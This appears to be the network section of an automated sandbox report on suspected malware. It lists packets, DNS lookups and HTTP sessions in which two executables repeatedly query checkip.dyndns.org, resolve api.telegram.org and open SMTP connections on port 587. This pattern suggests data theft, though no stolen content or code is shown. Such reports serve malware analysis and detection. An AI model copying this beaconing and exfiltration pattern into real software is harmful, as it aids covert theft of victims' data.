Oct 7, 2024 08:51:37.132524967 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:37.745800972 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:37.746129990 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:37.750977993 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:37.895740986 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:37.904886961 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:37.909885883 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.054722071 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.056350946 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:38.061130047 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.209263086 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.209459066 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:38.214220047 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.358776093 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.360194921 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:38.364933968 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.519470930 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.519705057 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:38.524507046 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.669209003 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.670011997 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:38.670079947 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:38.670263052 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:38.670263052 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:38.670322895 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:38.674921036 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.674932957 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.675030947 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.675142050 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.675246954 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.675275087 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.675292969 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.887080908 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:38.939425945 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:40.687064886 CEST	49752	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:40.831206083 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:40.836162090 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:40.836281061 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:41.383819103 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:41.386785984 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:41.391576052 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:41.537774086 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:41.538089991 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:41.542860985 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:41.689100027 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:41.689819098 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:41.694539070 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:41.850684881 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:41.850966930 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:41.856331110 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.001827002 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.002300024 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:42.007508993 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.163007975 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.163177013 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:42.168211937 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.313908100 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.314759016 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:42.314944029 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:42.314979076 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:42.315036058 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:42.315093040 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:51:42.319700956 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.319777966 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.319788933 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.319825888 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.319892883 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.319935083 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.319993973 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.320190907 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.531244993 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:51:42.584075928 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:53:17.051337004 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:53:17.056251049 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:53:17.402337074 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:53:17.402496099 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:53:17.402513027 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:53:17.403050900 CEST	50126	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:53:17.407324076 CEST	587	50126	68.66.224.41	192.168.2.4
Oct 7, 2024 08:53:20.861694098 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:53:20.866548061 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:53:21.214482069 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:53:21.214680910 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:53:21.217129946 CEST	587	50127	68.66.224.41	192.168.2.4
Oct 7, 2024 08:53:21.217365980 CEST	50127	587	192.168.2.4	68.66.224.41
Oct 7, 2024 08:53:21.220766068 CEST	587	50127	68.66.224.41	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 08:51:18.679948092 CEST	55768	53	192.168.2.4	1.1.1.1
Oct 7, 2024 08:51:18.686897993 CEST	53	55768	1.1.1.1	192.168.2.4
Oct 7, 2024 08:51:19.673316956 CEST	49804	53	192.168.2.4	1.1.1.1
Oct 7, 2024 08:51:19.684209108 CEST	53	49804	1.1.1.1	192.168.2.4
Oct 7, 2024 08:51:30.584717989 CEST	59543	53	192.168.2.4	1.1.1.1
Oct 7, 2024 08:51:30.591342926 CEST	53	59543	1.1.1.1	192.168.2.4
Oct 7, 2024 08:51:35.041230917 CEST	53	54848	1.1.1.1	192.168.2.4
Oct 7, 2024 08:51:37.025908947 CEST	62772	53	192.168.2.4	1.1.1.1
Oct 7, 2024 08:51:37.126096010 CEST	53	62772	1.1.1.1	192.168.2.4
Oct 7, 2024 08:51:48.602760077 CEST	53	58129	162.159.36.2	192.168.2.4
Oct 7, 2024 08:51:49.086297035 CEST	52729	53	192.168.2.4	1.1.1.1
Oct 7, 2024 08:51:49.093627930 CEST	53	52729	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 08:51:18.679948092 CEST	192.168.2.4	1.1.1.1	0xe465	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:51:19.673316956 CEST	192.168.2.4	1.1.1.1	0x532b	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:51:30.584717989 CEST	192.168.2.4	1.1.1.1	0xdf33	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:51:37.025908947 CEST	192.168.2.4	1.1.1.1	0xdd64	Standard query (0)	mail.precioustouchfoundation.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:51:49.086297035 CEST	192.168.2.4	1.1.1.1	0x5b9c	Standard query (0)	241.42.69.40.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 08:51:18.686897993 CEST	1.1.1.1	192.168.2.4	0xe465	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 08:51:18.686897993 CEST	1.1.1.1	192.168.2.4	0xe465	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:51:18.686897993 CEST	1.1.1.1	192.168.2.4	0xe465	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:51:18.686897993 CEST	1.1.1.1	192.168.2.4	0xe465	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:51:18.686897993 CEST	1.1.1.1	192.168.2.4	0xe465	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:51:18.686897993 CEST	1.1.1.1	192.168.2.4	0xe465	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:51:19.684209108 CEST	1.1.1.1	192.168.2.4	0x532b	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:51:19.684209108 CEST	1.1.1.1	192.168.2.4	0x532b	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:51:30.591342926 CEST	1.1.1.1	192.168.2.4	0xdf33	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:51:37.126096010 CEST	1.1.1.1	192.168.2.4	0xdd64	No error (0)	mail.precioustouchfoundation.org	precioustouchfoundation.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 08:51:37.126096010 CEST	1.1.1.1	192.168.2.4	0xdd64	No error (0)	precioustouchfoundation.org		68.66.224.41	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:51:49.093627930 CEST	1.1.1.1	192.168.2.4	0x5b9c	Name error (3)	241.42.69.40.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	132.226.247.73	80	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:18.699125051 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 08:51:19.363337994 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:19 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 77408518965d6b190097321807d054b6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 7, 2024 08:51:19.387669086 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 7, 2024 08:51:19.601515055 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:19 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 87e3e100ad7138cc7f1ef75ab6634c9c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 7, 2024 08:51:20.480240107 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 7, 2024 08:51:20.684520006 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:20 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f48e9ea71ca5a149a623997bee69bbd7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 7, 2024 08:51:20.903207064 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:20 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f48e9ea71ca5a149a623997bee69bbd7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	132.226.247.73	80	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:21.307543993 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 7, 2024 08:51:21.989424944 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:21 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 674255d4b76e2f902ea10fc12df77ce3 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	132.226.247.73	80	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:22.785193920 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 08:51:23.468280077 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:23 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e16a36954ea923578944a5f88ac065cf Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	132.226.247.73	80	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:23.057079077 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 08:51:23.730097055 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:23 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 05d642a106458fcac83bc4c9ddc288cd Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 7, 2024 08:51:23.733705044 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 7, 2024 08:51:23.939752102 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:23 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 436947aa0530340a4885d9558eeeb7f2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 7, 2024 08:51:24.627157927 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 7, 2024 08:51:24.833192110 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:24 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7f1f972bbb670fa5a2b17f6b3f35188d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	132.226.247.73	80	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:24.122538090 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 08:51:24.809830904 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:24 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 56c0c1a8d9273e43c7814d3c62d6c011 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	132.226.247.73	80	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:25.427826881 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 08:51:26.099988937 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:26 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 47a4c0bdd5a814f92f10cd1f676aae29 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	132.226.247.73	80	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:25.465378046 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 7, 2024 08:51:26.119807005 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:26 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 201daa14d8e80b5a7c87eee60caf3fca Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49751	132.226.247.73	80	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:26.690434933 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 08:51:27.355006933 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:27 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ab2537e286ccff56a380bbe4ec0e4e6f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49752	132.226.247.73	80	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:26.725182056 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 7, 2024 08:51:27.388710022 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:27 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 02a6870dee50d87f5b8f980e44a60e75 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49755	132.226.247.73	80	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
